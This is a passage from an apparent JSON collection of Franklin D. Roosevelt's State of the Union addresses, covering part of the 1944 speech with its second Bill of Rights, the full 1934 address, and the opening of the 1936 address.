Government represent\nthe fixed income group just as much as we represent business owners,\nworkers, and farmers. This group of fixed income people includes: teachers,\nclergy, policemen, firemen, widows and minors on fixed incomes, wives and\ndependents of our soldiers and sailors, and old-age pensioners. They and\ntheir families add up to one-quarter of our one hundred and thirty million\npeople. They have few or no high pressure representatives at the Capitol.\nIn a period of gross inflation they would be the worst sufferers.If ever there was a time to subordinate individual or group selfishness to\nthe national good, that time is now. Disunity at home--bickerings,\nself-seeking partisanship, stoppages of work, inflation, business as usual,\npolitics as usual, luxury as usual these are the influences which can\nundermine the morale of the brave men ready to die at the front for us\nhere.Those who are doing most of the complaining are not deliberately striving\nto sabotage the national war effort. They are laboring under the delusion\nthat the time is past when we must make prodigious sacrifices--that the war\nis already won and we can begin to slacken off. But the dangerous folly of\nthat point of view can be measured by the distance that separates our\ntroops from their ultimate objectives in Berlin and Tokyo--and by the sum of\nall the perils that lie along the way.Overconfidence and complacency are among our deadliest enemies. Last\nspring--after notable victories at Stalingrad and in Tunisia and against the\nU-boats on the high seas--overconfidence became so pronounced that war\nproduction fell off. In two months, June and July, 1943, more than a\nthousand airplanes that could have been made and should have been made were\nnot made. Those who failed to make them were not on strike. They were\nmerely saying, \"The war's in the bag--so let's relax.\"That attitude on the part of anyone--Government or management or labor--can\nlengthen this war. It can kill American boys.Let us remember the lessons of 1918. In the summer of that year the tide\nturned in favor of the allies. But this Government did not relax. In fact,\nour national effort was stepped up. In August, 1918, the draft age limits\nwere broadened from 21-31 to 18-45. The President called for \"force to the\nutmost,\" and his call was heeded. And in November, only three months later,\nGermany surrendered.That is the way to fight and win a war--all out--and not with half-an-eye on\nthe battlefronts abroad and the other eye-and-a-half on personal, selfish,\nor political interests here at home.Therefore, in order to concentrate all our energies and resources on\nwinning the war, and to maintain a fair and stable economy at home, I\nrecommend that the Congress adopt:(1) A realistic tax law--which will tax all unreasonable profits, both\nindividual and corporate, and reduce the ultimate cost of the war to our\nsons and daughters. The tax bill now under consideration by the Congress\ndoes not begin to meet this test.(2) A continuation of the law for the renegotiation of war contracts--which\nwill prevent exorbitant profits and assure fair prices to the Government.\nFor two long years I have pleaded with the Congress to take undue profits\nout of war.(3) A cost of food law--which will enable the Government (a) to place a\nreasonable floor under the prices the farmer may expect for his production;\nand (b) to place a ceiling on the prices a consumer will have to pay for\nthe food he buys. This should apply to necessities only; and will require\npublic funds to carry out. It will cost in appropriations about one percent\nof the present annual cost of the war.(4) Early reenactment of the stabilization statute of October, 1942. This\nexpires June 30, 1944, and if it is not extended well in advance, the\ncountry might just as well expect price chaos by summer.We cannot have stabilization by wishful thinking. We must take positive\naction to maintain the integrity of the American dollar.(5) A national service law--which, for the duration of the war, will\nprevent strikes, and, with certain appropriate exceptions, will make\navailable for war production or for any other essential services every\nable-bodied adult in this Nation.These five measures together form a just and equitable whole. I would not\nrecommend a national service law unless the other laws were passed to keep\ndown the cost of living, to share equitably the burdens of taxation, to\nhold the stabilization line, and to prevent undue profits.The Federal Government already has the basic power to draft capital and\nproperty of all kinds for war purposes on a basis of just compensation.As you know, I have for three years hesitated to recommend a national\nservice act. Today, however, I am convinced of its necessity. Although I\nbelieve that we and our allies can win the war without such a measure, I am\ncertain that nothing less than total mobilization of all our resources of\nmanpower and capital will guarantee an earlier victory, and reduce the toll\nof suffering and sorrow and blood.I have received a joint recommendation for this law from the heads of the\nWar Department, the Navy Department, and the Maritime Commission. These are\nthe men who bear responsibility for the procurement of the necessary arms\nand equipment, and for the successful prosecution of the war in the field.\nThey say:\"When the very life of the Nation is in peril the responsibility for\nservice is common to all men and women. In such a time there can be no\ndiscrimination between the men and women who are assigned by the Government\nto its defense at the battlefront and the men and women assigned to\nproducing the vital materials essential to successful military operations.\nA prompt enactment of a National Service Law would be merely an expression\nof the universality of this responsibility.\"I believe the country will agree that those statements are the solemn\ntruth.National service is the most democratic way to wage a war. Like selective\nservice for the armed forces, it rests on the obligation of each citizen to\nserve his Nation to his utmost where he is best qualified.It does not mean reduction in wages. It does not mean loss of retirement\nand seniority rights and benefits. It does not mean that any substantial\nnumbers of war workers will be disturbed in their present jobs. Let these\nfacts be wholly clear.Experience in other democratic Nations at war--Britain, Canada, Australia,\nand New Zealand--has shown that the very existence of national service\nmakes unnecessary the widespread use of compulsory power. National service\nhas proven to be a unifying moral force based on an equal and comprehensive\nlegal obligation of all people in a Nation at war.There are millions of American men and women who are not in this war at\nall. It is not because they do not want to be in it. But they want to know\nwhere they can best do their share. National service provides that\ndirection. It will be a means by which every man and woman can find that\ninner satisfaction which comes from making the fullest possible\ncontribution to victory.I know that all civilian war workers will be glad to be able to say many\nyears hence to their grandchildren: \"Yes, I, too, was in service in the\ngreat war. I was on duty in an airplane factory, and I helped make hundreds\nof fighting planes. The Government told me that in doing that I was\nperforming my most useful work in the service of my country.\"It is argued that we have passed the stage in the war where national\nservice is necessary. But our soldiers and sailors know that this is not\ntrue. We are going forward on a long, rough road--and, in all journeys, the\nlast miles are the hardest. And it is for that final effort--for the total\ndefeat of our enemies--that we must mobilize our total resources. The\nnational war program calls for the employment of more people in 1944 than\nin 1943.It is my conviction that the American people will welcome this win-the-war\nmeasure which is based on the eternally just principle of \"fair for one,\nfair for all.\"It will give our people at home the assurance that they are standing\nfour-square behind our soldiers and sailors. And it will give our enemies\ndemoralizing assurance that we mean business--that we, 130,000,000\nAmericans, are on the march to Rome, Berlin, and Tokyo.I hope that the Congress will recognize that, although this is a political\nyear, national service is an issue which transcends politics. Great power\nmust be used for great purposes.As to the machinery for this measure, the Congress itself should determine\nits nature--but it should be wholly nonpartisan in its make-up.Our armed forces are valiantly fulfilling their responsibilities to our\ncountry and our people. Now the Congress faces the responsibility for\ntaking those measures which are essential to national security in this the\nmost decisive phase of the Nation's greatest war.Several alleged reasons have prevented the enactment of legislation which\nwould preserve for our soldiers and sailors and marines the fundamental\nprerogative of citizenship--the right to vote. No amount of legalistic\nargument can becloud this issue in the eyes of these ten million American\ncitizens. Surely the signers of the Constitution did not intend a document\nwhich, even in wartime, would be construed to take away the franchise of\nany of those who are fighting to preserve the Constitution itself.Our soldiers and sailors and marines know that the overwhelming majority of\nthem will be deprived of the opportunity to vote, if the voting machinery\nis left exclusively to the States under existing State laws--and that there\nis no likelihood of these laws being changed in time to enable them to vote\nat the next election. The Army and Navy have reported that it will be\nimpossible effectively to administer forty-eight different soldier voting\nlaws. It is the duty of the Congress to remove this unjustifiable\ndiscrimination against the men and women in our armed forces--and to do it\nas quickly as possible.It is our duty now to begin to lay the plans and determine the strategy for\nthe winning of a lasting peace and the establishment of an American\nstandard of living higher than ever before known. We cannot be content, no\nmatter how high that general standard of living may be, if some fraction of\nour people--whether it be one-third or one-fifth or one-tenth--is ill-fed,\nill-clothed, ill housed, and insecure.This Republic had its beginning, and grew to its present strength, under\nthe protection of certain inalienable political rights--among them the right\nof free speech, free press, free worship, trial by jury, freedom from\nunreasonable searches and seizures. They were our rights to life and\nliberty.As our Nation has grown in size and stature, however--as our industrial\neconomy expanded--these political rights proved inadequate to assure us\nequality in the pursuit of happiness.We have come to a clear realization of the fact that true individual\nfreedom cannot exist without economic security and independence.\n\"Necessitous men are not free men.\" People who are hungry and out of a job\nare the stuff of which dictatorships are made.In our day these economic truths have become accepted as self-evident. We\nhave accepted, so to speak, a second Bill of Rights under which a new basis\nof security and prosperity can be established for all regardless of\nstation, race, or creed.Among these are:The right to a useful and remunerative job in the industries or shops or\nfarms or mines of the Nation;The right to earn enough to provide adequate food and clothing and\nrecreation;The right of every farmer to raise and sell his products at a return which\nwill give him and his family a decent living;The right of every businessman, large and small, to trade in an atmosphere\nof freedom from unfair competition and domination by monopolies at home or\nabroad;The right of every family to a decent home;The right to adequate medical care and the opportunity to achieve and enjoy\ngood health;The right to adequate protection from the economic fears of old age,\nsickness, accident, and unemployment;The right to a good education.All of these rights spell security. And after this war is won we must be\nprepared to move forward, in the implementation of these rights, to new\ngoals of human happiness and well-being.America's own rightful place in the world depends in large part upon how\nfully these and similar rights have been carried into practice for our\ncitizens. For unless there is security here at home there cannot be lasting\npeace in the world.One of the great American industrialists of our day--a man who has rendered\nyeoman service to his country in this crisis--recently emphasized the grave\ndangers of \"rightist reaction\" in this Nation. All clear-thinking\nbusinessmen share his concern. Indeed, if such reaction should develop--if\nhistory were to repeat itself and we were to return to the so-called\n\"normalcy\" of the 1920's--then it is certain that even though we shall have\nconquered our enemies on the battlefields abroad, we shall have yielded to\nthe spirit of Fascism here at home.I ask the Congress to explore the means for implementing this economic bill\nof rights--for it is definitely the responsibility of the Congress so to\ndo. Many of these problems are already before committees of the Congress in\nthe form of proposed legislation. I shall from time to time communicate\nwith the Congress with respect to these and further proposals. In the event\nthat no adequate program of progress is evolved, I am certain that the\nNation will be conscious of the fact.Our fighting men abroad--and their families at home--expect such a program\nand have the right to insist upon it. It is to their demands that this\nGovernment should pay heed rather than to the whining demands of selfish\npressure groups who seek to feather their nests while young Americans are\ndying.The foreign policy that we have been following--the policy that guided us at\nMoscow, Cairo, and Teheran--is based on the common sense principle which was\nbest expressed by Benjamin Franklin on July 4, 1776: \"We must all hang\ntogether, or assuredly we shall all hang separately.\"I have often said that there are no two fronts for America in this war.\nThere is only one front. There is one line of unity which extends from the\nhearts of the people at home to the men of our attacking forces in our\nfarthest outposts. When we speak of our total effort, we speak of the\nfactory and the field, and the mine as well as of the battleground--we\nspeak of the soldier and the civilian, the citizen and his Government.Each and every one of us has a solemn obligation under God to serve this\nNation in its most critical hour--to keep this Nation great--to make this\nNation greater in a better world.", 
+    "name": "Franklin D. Roosevelt"
+}
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+{
+    "date": "January 3, 1934", 
+    "speech": "Mr. President, Mr. Speaker, Senators and Representatives in Congress:I come before you at the opening of the Regular Session of the 73d\nCongress, not to make requests for special or detailed items of\nlegislation; I come, rather, to counsel with you, who, like myself, have\nbeen selected to carry out a mandate of the whole people, in order that\nwithout partisanship you and I may cooperate to continue the restoration of\nour national wellbeing and, equally important, to build on the ruins of the\npast a new structure designed better to meet the present problems of modern\ncivilization.Such a structure includes not only the relations of industry and\nagriculture and finance to each other but also the effect which all of\nthese three have on our individual citizens and on the whole people as a\nNation.Now that we are definitely in the process of recovery, lines have been\nrightly drawn between those to whom this recovery means a return to old\nmethods--and the number of these people is small--and those for whom\nrecovery means a reform of many old methods, a permanent readjustment of\nmany of our ways of thinking and therefore of many of our social and\neconomic arrangements. . . . .Civilization cannot go back; civilization must not stand still. We have\nundertaken new methods. It is our task to perfect, to improve, to alter\nwhen necessary, but in all cases to go forward. To consolidate what we are\ndoing, to make our economic and social structure capable of dealing with\nmodern life is the joint task of the legislative, the judicial, and the\nexecutive branches of the national Government.Without regard to party, the overwhelming majority of our people seek a\ngreater opportunity for humanity to prosper and find happiness. They\nrecognize that human welfare has not increased and does not increase\nthrough mere materialism and luxury, but that it does progress through\nintegrity, unselfishness, responsibility and justice.In the past few months, as a result of our action, we have demanded of many\ncitizens that they surrender certain licenses to do as they please in\ntheir business relationships; but we have asked this in exchange for the\nprotection which the State can give against exploitation by their fellow\nmen or by combinations of their fellow men.I congratulate this Congress upon the courage, the earnestness and the\nefficiency with which you met the crisis at the Special Session. It was\nyour fine understanding of the national problem that furnished the example\nwhich the country has so splendidly followed. I venture to say that the\ntask confronting the First Congress of 1789 was no greater than your own.I shall not attempt to set forth either the many phases of the crisis which\nwe experienced last March, or the many measures which you and I undertook\nduring the Special Session that we might initiate recovery and reform.It is sufficient that I should speak in broad terms of the results of our\ncommon counsel. The credit of the Government has been fortified by drastic\nreduction in the cost of its permanent agencies through the Economy Act.With the twofold purpose of strengthening the whole financial structure and\nof arriving eventually at a medium of exchange which over the years will\nhave less variable purchasing and debt paying power for our people than\nthat of the past, I have used the authority granted me to purchase all\nAmerican-produced gold and silver and to buy additional gold in the world\nmarkets. Careful investigation and constant study prove that in the matter\nof foreign exchange rates certain of our sister Nations find themselves so\nhandicapped by internal and other conditions that they feel unable at this\ntime to enter into stabilization discussion based on permanent and\nworld-wide objectives.The overwhelming majority of the banks, both national and State, which\nreopened last spring, are in sound condition and have been brought within\nthe protection of Federal insurance. In the case of those banks which were\nnot permitted to reopen, nearly six hundred million dollars of frozen\ndeposits are being restored to the depositors through the assistance of the\nnational Government.We have made great strides toward the objectives of the National Industrial\nRecovery Act, for not only have several millions of our unemployed been\nrestored to work, but industry is organizing itself with a greater\nunderstanding that reasonable profits can be earned while at the same time\nprotection can be assured to guarantee to labor adequate pay and proper\nconditions of work. Child labor is abolished. Uniform standards of hours\nand wages apply today to 95 percent of industrial employment within the\nfield of the National Industrial Recovery Act. We seek the definite end of\npreventing combinations in furtherance of monopoly and in restraint of\ntrade, while at the same time we seek to prevent ruinous rivalries within\nindustrial groups which in many cases resemble the gang wars of the\nunderworld and in which the real victim in every case is the public\nitself.Under the authority of this Congress, we have brought the component parts\nof each industry together around a common table, just as we have brought\nproblems affecting labor to a common meeting ground. Though the machinery,\nhurriedly devised, may need readjustment from time to time, nevertheless I\nthink you will agree with me that we have created a permanent feature of\nour modernized industrial structure and that it will continue under the\nsupervision but not the arbitrary dictation of Government itself.You recognized last spring that the most serious part of the debt burden\naffected those who stood in danger of losing their farms and their homes. I\nam glad to tell you that refinancing in both of these cases is proceeding\nwith good success and in all probability within the financial limits set by\nthe Congress.But agriculture had suffered from more than its debts. Actual experience\nwith the operation of the Agricultural Adjustment Act leads to my belief\nthat thus far the experiment of seeking a balance between production and\nconsumption is succeeding and has made progress entirely in line with\nreasonable expectations toward the restoration of farm prices to parity. I\ncontinue in my conviction that industrial progress and prosperity can only\nbe attained by bringing the purchasing power of that portion of our\npopulation which in one form or another is dependent upon agriculture up to\na level which will restore a proper balance between every section of the\ncountry and between every form of work.In this field, through carefully planned flood control, power development\nand land-use policies in the Tennessee Valley and in other, great\nwatersheds, we are seeking the elimination of waste, the removal of poor\nlands from agriculture and the encouragement of small local industries,\nthus furthering this principle of a better balanced national life. We\nrecognize the great ultimate cost of the application of this rounded policy\nto every part off the Union. Today we are creating heavy obligations to\nstart the work because of the great unemployment needs of the moment. I\nlook forward, however, to the time in the not distant future, when annual\nappropriations, wholly covered by current revenue, will enable the work to\nproceed under a national plan. Such a national plan will, in a generation\nor two, return many times the money spent on it; more important, it will\neliminate the use of inefficient tools, conserve and increase natural\nresources, prevent waste, and enable millions of our people to take better\nadvantage of the opportunities which God has given our country.I cannot, unfortunately, present to you a picture of complete optimism\nregarding world affairs.The delegation representing the United States has worked in close\ncooperation with the other American Republics assembled at Montevideo to\nmake that conference an outstanding success. We have, I hope, made it clear\nto our neighbors that we seek with them future avoidance of territorial\nexpansion and of interference by one Nation in the internal affairs of\nanother. Furthermore, all of us are seeking the restoration of commerce in\nways which will preclude the building up of large favorable trade balances\nby any one Nation at the expense of trade debits on the part of other\nNations.In other parts of the world, however, fear of immediate or future\naggression and with it the spending of vast sums on armament and the\ncontinued building up of defensive trade barriers prevent any great\nprogress in peace or trade agreements. I have made it clear that the United\nStates cannot take part in political arrangements in Europe but that we\nstand ready to cooperate at any time in practicable measures on a world\nbasis looking to immediate reduction of armaments and the lowering of the\nbarriers against commerce.I expect to report to you later in regard to debts owed the Government and\npeople of this country by the Governments and peoples of other countries.\nSeveral Nations, acknowledging the debt, have paid in small part; other\nNations have failed to pay. One Nation--Finland--has paid the installments\ndue this country in full.Returning to home problems, we have been shocked by many notorious examples\nof injuries done our citizens by persons or groups who have been living off\ntheir neighbors by the use of methods either unethical or criminal.In the first category--a field which does not involve violations of the\nletter of our laws--practices have been brought to light which have shocked\nthose who believed that we were in the past generation raising the ethical\nstandards of business. They call for stringent preventive or regulatory\nmeasures. I am speaking of those individuals who have evaded the spirit and\npurpose of our tax laws, of those high officials of banks or corporations\nwho have grown rich at the expense of their stockholders or the public, of\nthose reckless speculators with their own or other people's money whose\noperations have injured the values of the farmers' crops and the savings\nof the poor.In the other category, crimes of organized banditry, coldblooded shooting,\nlynching and kidnapping have threatened our security.These violations of ethics and these violations of law call on the strong\narm of Government for their immediate suppression; they call also on the\ncountry for an aroused public opinion.The adoption of the Twenty-first Amendment should give material aid to the\nelimination of those new forms of crime which came from the illegal traffic\nin liquor.I shall continue to regard it as my duty to use whatever means may be\nnecessary to supplement State, local and private agencies for the relief of\nsuffering caused by unemployment. With respect to this question, I have\nrecognized the dangers inherent in the direct giving of relief and have\nsought the means to provide not mere relief, but the opportunity for useful\nand remunerative work. We shall, in the process of recovery, seek to move\nas rapidly as possible from direct relief to publicly supported work and\nfrom that to the rapid restoration of private employment.It is to the eternal credit of the American people that this tremendous\nreadjustment of our national life is being accomplished peacefully, without\nserious dislocation, with only a minimum of injustice and with a great,\nwilling spirit of cooperation throughout the country.Disorder is not an American habit. Self-help and self-control are the\nessence of the American tradition--not of necessity the form of that\ntradition, but its spirit. The program itself comes from the American\npeople.It is an integrated program, national in scope. Viewed in the large, it is\ndesigned to save from destruction and to keep for the future the genuinely\nimportant values created by modern society. The vicious and wasteful parts\nof that society we could not save if we wished; they have chosen the way of\nself-destruction. We would save useful mechanical invention, machine\nproduction, industrial efficiency, modern means of communication, broad\neducation. We would save and encourage the slowly growing impulse among\nconsumers to enter the industrial market place equipped with sufficient\norganization to insist upon fair prices and honest sales.But the unnecessary expansion of industrial plants, the waste of natural\nresources, the exploitation of the consumers of natural monopolies, the\naccumulation of stagnant surpluses, child labor, and the ruthless\nexploitation of all labor, the encouragement of speculation with other\npeople's money, these were consumed in the fires that they themselves\nkindled; we must make sure that as we reconstruct our life there be no soil\nin which such weeds can grow again.We have plowed the furrow and planted the good seed; the hard beginning is\nover. If we would reap the full harvest, we must cultivate the soil where\nthis good seed is sprouting and the plant is reaching up to mature growth.A final personal word. I know that each of you will appreciate that. I am\nspeaking no mere politeness when I assure you how much I value the fine\nrelationship that we have shared during these months of hard and incessant\nwork. Out of these friendly contacts we are, fortunately, building a strong\nand permanent tie between the legislative and executive branches of the\nGovernment. The letter of the Constitution wisely declared a separation,\nbut the impulse of common purpose declares a union. In this spirit we join\nonce more in serving the American people.", 
+    "name": "Franklin D. Roosevelt"
+}
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+{
+    "date": "January 3, 1936", 
+    "speech": "Mr. President, Mr. Speaker, Members of the Senate and of the House of\nRepresentatives:We are about to enter upon another year of the responsibility which the\nelectorate of the United States has placed in our hands. Having come so\nfar, it is fitting that we should pause to survey the ground which we have\ncovered and the path which lies ahead.On the fourth day of March, 1933, on the occasion of taking the oath of\noffice as President of the United States, I addressed the people of our\ncountry. Need I recall either the scene or the national circumstances\nattending the occasion? The crisis of that moment was almost exclusively a\nnational one. In recognition of that fact, so obvious to the millions in\nthe streets and in the homes of America, I devoted by far the greater part\nof that address to what I called, and the Nation called, critical days\nwithin our own borders.You will remember that on that fourth of March, 1933, the world picture was\nan image of substantial peace. International consultation and widespread\nhope for the bettering of relations between the Nations gave to all of us a\nreasonable expectation that the barriers to mutual confidence, to increased\ntrade, and to the peaceful settlement of disputes could be progressively\nremoved. In fact, my only reference to the field of world policy in that\naddress was in these words: \"I would dedicate this Nation to the policy of\nthe good neighbor--the neighbor who resolutely respects himself and, because\nhe does so, respects the rights of others--a neighbor who respects his\nobligations and respects the sanctity of his agreements in and with a world\nof neighbors.\"In the years that have followed, that sentiment has remained the dedication\nof this Nation. Among the Nations of the great Western Hemisphere the\npolicy of the good neighbor has happily prevailed. At no time in the four\nand a half centuries of modern civilization in the Americas has there\nexisted--in any year, in any decade, in any generation in all that time--a\ngreater spirit of mutual understanding, of common helpfulness, and of\ndevotion to the ideals of serf-government than exists today in the\ntwenty-one American Republics and their neighbor, the Dominion of Canada.\nThis policy of the good neighbor among the Americas is no longer a hope, no\nlonger an objective remaining to be accomplished. It is a fact, active,\npresent, pertinent and effective. In this achievement, every American\nNation takes an understanding part. There is neither war, nor rumor of war,\nnor desire for war. The inhabitants of this vast area, two hundred and\nfifty million strong, spreading more than eight thousand miles from the\nArctic to the Antarctic, believe in, and propose to follow, the policy of\nthe good neighbor. They wish with all their heart that the rest of the\nworld might do likewise.The rest of the world--Ah! there is the rub.Were I today to deliver an Inaugural Address to the people of the United\nStates, I could not limit my comments on world affairs to one paragraph.\nWith much regret I should be compelled to devote the greater part to world\naffairs. Since the summer of that same year of 1933, the temper and the\npurposes of the rulers of many of the great populations in Europe and in\nAsia have not pointed the way either to peace or to good-will among men.\nNot only have peace and good-will among men grown more remote in those\nareas of the earth during this period, but a point has been reached where\nthe people of the Americas must take cognizance of growing ill-will, of\nmarked trends toward aggression, of increasing armaments, of shortening\ntempers--a situation which has in it many of the elements that lead to the\ntragedy of general war.On those other continents many Nations, principally the smaller peoples, if\nleft to themselves, would be content with their boundaries and willing to\nsolve within themselves and in cooperation with their neighbors their\nindividual problems, both economic and social. The rulers of those Nations,\ndeep in their hearts, follow these peaceful and reasonable aspirations of\ntheir peoples. These rulers must remain ever vigilant against the\npossibility today or tomorrow of invasion or attack by the rulers of other\npeoples who fail to subscribe to the principles of bettering the human race\nby peaceful means.Within those other Nations--those which today must bear the primary,\ndefinite responsibility for jeopardizing world peace--what hope lies? To\nsay the least, there are grounds for pessimism. It is idle for us or for\nothers to preach that the masses of the people who constitute those Nations\nwhich are dominated by the twin spirits of autocracy and aggression, are\nout of sympathy with their rulers, that they are allowed no opportunity to\nexpress themselves, that they would change things if they could.That, unfortunately, is not so clear. It might be true that the masses of\nthe people in those Nations would change the policies of their Governments\nif they could be allowed full freedom and full access to the processes of\ndemocratic government as we understand them. But they do not have that\naccess; lacking it they follow blindly and fervently the lead of those who\nseek autocratic power.Nations seeking expansion, seeking the rectification of injustices\nspringing from former wars, or seeking outlets for trade, for population or\neven for their own peaceful contributions to the progress of civilization,\nfail to demonstrate that patience necessary to attain reasonable and\nlegitimate objectives by peaceful negotiation or by an appeal to the finer\ninstincts of world justice.They have therefore impatiently reverted to the old belief in the law of\nthe sword, or to the fantastic conception that they, and they alone, are\nchosen to fulfill a mission and that all the others among the billion and a\nhalf of human beings in the world must and shall learn from and be subject\nto them.I recognize and you will recognize that these words which I have chosen\nwith deliberation will not prove popular in any Nation that chooses to fit\nthis shoe to its foot. Such sentiments, however, will find sympathy and\nunderstanding in those Nations where the people themselves are honestly\ndesirous of peace but must constantly align themselves on one side or the\nother in the kaleidoscopic jockeying for position which is characteristic\nof European and Asiatic relations today. For the peace-loving Nations, and\nthere are many of them, find that their very identity depends on their\nmoving and moving again on the chess board of international politics.I suggested in the spring of 1933 that 85 or 90 percent of all the people\nin the world were content with the territorial limits of their respective\nNations and were willing further to reduce their armed forces if every\nother Nation in the world would agree to do likewise.That is equally true today, and it is even more true today that world peace\nand world good-will are blocked by only 10 or 15 percent of the world's\npopulation. That is why efforts to reduce armies have thus far not only\nfailed, but have been met by vastly increased armaments on land and in the\nair. That is why even efforts to continue the existing limits on naval\narmaments into the years to come show such little current success.But the policy of the United States has been clear and consistent. We have\nsought with earnestness in every possible way to limit world armaments and\nto attain the peaceful solution of disputes among all Nations.We have sought by every legitimate means to exert our moral influence\nagainst repression, against intolerance, against autocracy and in favor of\nfreedom of expression, equality before the law, religious tolerance and\npopular rule.In the field of commerce we have undertaken to encourage a more reasonable\ninterchange of the world's goods. In the field of international finance we\nhave, so far as we are concerned, put an end to dollar diplomacy, to money\ngrabbing, to speculation for the benefit of the powerful and the rich, at\nthe expense of the small and the poor.As a consistent part of a clear policy, the United States is following a\ntwofold neutrality toward any and all Nations which engage in wars that are\nnot of immediate concern to the Americas. First, we decline to encourage\nthe prosecution of war by permitting belligerents to obtain arms,\nammunition or implements of war from the United States. Second, we seek to\ndiscourage the use by belligerent Nations of any and all American products\ncalculated to facilitate the prosecution of a war in quantities over and\nabove our normal exports of them in time of peace.I trust that these objectives thus clearly and unequivocally stated will be\ncarried forward by cooperation between this Congress and the President.I realize that I have emphasized to you the gravity of the situation which\nconfronts the people of the world. This emphasis is justified because of\nits importance to civilization and therefore to the United States. Peace is\njeopardized by the few and not by the many. Peace is threatened by those\nwho seek selfish power. The world has witnessed similar eras--as in the\ndays when petty kings and feudal barons were changing the map of Europe\nevery fortnight, or when great emperors and great kings were engaged in a\nmad scramble for colonial empire. We hope that we are not again at the\nthreshold of such an era. But if face it we must, then the United States\nand the rest of the Americas can play but one role: through a well-ordered\nneutrality to do naught to encourage the contest, through adequate defense\nto save ourselves from embroilment and attack, and through example and all\nlegitimate encouragement and assistance to persuade other Nations to return\nto the ways of peace and good-will.The evidence before us clearly proves that autocracy in world affairs\nendangers peace and that such threats do not spring from those Nations\ndevoted to the democratic ideal. If this be true in world affairs, it\nshould have the greatest weight in the determination of domestic policies.Within democratic Nations the chief concern of the people is to prevent the\ncontinuance or the rise of autocratic institutions that beget slavery at\nhome and aggression abroad. Within our borders, as in the world at large,\npopular opinion is at war with a power-seeking minority.That is no new thing. It was fought out in the Constitutional Convention of\n1787. From time to time since then, the battle has been continued, under\nThomas Jefferson, Andrew Jackson, Theodore Roosevelt and Woodrow Wilson.In these latter years we have witnessed the domination of government by\nfinancial and industrial groups, numerically small but politically dominant\nin the twelve years that succeeded the World War. The present group of\nwhich I speak is indeed numerically small and, while it exercises a large\ninfluence and has much to say in the world of business, it does not, I am\nconfident, speak the true sentiments of the less articulate but more\nimportant elements that constitute real American business.In March, 1933, I appealed to the Congress of the United States and to the\npeople of the United States in a new effort to restore power to those to\nwhom it rightfully belonged. The response to that appeal resulted in the\nwriting of a new chapter in the history of popular government. You, the\nmembers of the Legislative branch, and I, the Executive, contended for and\nestablished a new relationship between Government and people.What were the terms of that new relationship? They were an appeal from the\nclamor of many private and selfish interests, yes, an appeal from the\nclamor of partisan interest, to the ideal of the public interest.\nGovernment became the representative and the trustee of the public\ninterest. Our aim was to build upon essentially democratic institutions,\nseeking all the while the adjustment of burdens, the help of the needy, the\nprotection of the weak, the liberation of the exploited and the genuine\nprotection of the people's property.It goes without saying that to create such an economic constitutional\norder, more than a single legislative enactment was called for. We, you in\nthe Congress and I as the Executive, had to build upon a broad base. Now,\nafter thirty-four months of work, we contemplate a fairly rounded whole. We\nhave returned the control of the Federal Government to the City of\nWashington.To be sure, in so doing, we have invited battle. We have earned the hatred\nof entrenched greed. The very nature of the problem that we faced made it\nnecessary to drive some people from power and strictly to regulate others.\nI made that plain when I took the oath of office in March, 1933. I spoke of\nthe practices of the unscrupulous money-changers who stood indicted in the\ncourt of public opinion. I spoke of the rulers of the exchanges of\nmankind's goods, who failed through their own stubbornness and their own\nincompetence. I said that they had admitted their failure and had\nabdicated.Abdicated? Yes, in 1933, but now with the passing of danger they forget\ntheir damaging admissions and withdraw their abdication.They seek the restoration of their selfish power. They offer to lead us\nback round the same old corner into the same old dreary street.Yes, there are still determined groups that are intent upon that very\nthing. Rigorously held up to popular examination, their true character\npresents itself. They steal the livery of great national constitutional\nideals to serve discredited special interests. As guardians and trustees\nfor great groups of individual stockholders they wrongfully seek to carry\nthe property and the interests entrusted to them into the arena of partisan\npolitics. They seek--this minority in business and industry--to control and\noften do control and use for their own purposes legitimate and highly\nhonored business associations; they engage in vast propaganda to spread\nfear and discord among the people--they would \"gang up\" against the people's\nliberties.The principle that they would instill into government if they succeed in\nseizing power is well shown by the principles which many of them have\ninstilled into their own affairs: autocracy toward labor, toward\nstockholders, toward consumers, toward public sentiment. Autocrats in\nsmaller things, they seek autocracy in bigger things. \"By their fruits ye\nshall know them.\"If these gentlemen believe, as they say they believe, that the measures\nadopted by this Congress and its predecessor, and carried out by this\nAdministration, have hindered rather than promoted recovery, let them be\nconsistent. Let them propose to this Congress the complete repeal of these\nmeasures. The way is open to such a proposal.Let action be positive and not negative. The way is open in the Congress of\nthe United States for an expression of opinion by yeas and nays. Shall we\nsay that values are restored and that the Congress will, therefore, repeal\nthe laws under which we have been bringing them back? Shall we say that\nbecause national income has grown with rising prosperity, we shall repeal\nexisting taxes and thereby put off the day of approaching a balanced budget\nand of starting to reduce the national debt? Shall we abandon the\nreasonable support and regulation of banking? Shall we restore the dollar\nto its former gold content?Shall we say to the farmer, \"The prices for your products are in part\nrestored. Now go and hoe your own row?\"Shall we say to the home owners, \"We have reduced your rates of interest.\nWe have no further concern with how you keep your home or what you pay for\nyour money. That is your affair?\"Shall we say to the several millions of unemployed citizens who face the\nvery problem of existence, of getting enough to eat, \"We will withdraw from\ngiving you work. We will turn you back to the charity of your communities\nand those men of selfish power who tell you that perhaps they will employ\nyou if the Government leaves them strictly alone?\"Shall we say to the needy unemployed, \"Your problem is a local one except\nthat perhaps the Federal Government, as an act of mere generosity, will be\nwilling to pay to your city or to your county a few grudging dollars to\nhelp maintain your soup kitchens?\"Shall we say to the children who have worked all day in the factories,\n\"Child labor is a local issue and so are your starvation wages; something\nto be solved or left unsolved by the jurisdiction of forty-eight States?\"Shall we say to the laborer, \"Your right to organize, your relations with\nyour employer have nothing to do with the public interest; if your employer\nwill not even meet with you to discuss your problems and his, that is none\nof our affair?\"Shall we say to the unemployed and the aged, \"Social security lies not\nwithin the province of the Federal Government; you must seek relief\nelsewhere?\"Shall we say to the men and women who live in conditions of squalor in\ncountry and in city, \"The health and the happiness of you and your children\nare no concern of ours?\"Shall we expose our population once more by the repeal of laws which\nprotect them against the loss of their honest investments and against the\nmanipulations of dishonest speculators? Shall we abandon the splendid\nefforts of the Federal Government to raise the health standards of the\nNation and to give youth a decent opportunity through such means as the\nCivilian Conservation Corps?Members of the Congress, let these challenges be met. If this is what these\ngentlemen want, let them say so to the Congress of the United States. Let\nthem no longer hide their dissent in a cowardly cloak of generality. Let\nthem define the issue. We have been specific in our affirmative action. Let\nthem be specific in their negative attack.But the challenge faced by this Congress is more menacing than merely a\nreturn to the past--bad as that would be. Our resplendent economic autocracy\ndoes not want to return to that individualism of which they prate, even\nthough the advantages under that system went to the ruthless and the\nstrong. They realize that in thirty-four months we have built up new\ninstruments of public power. In the hands of a people's 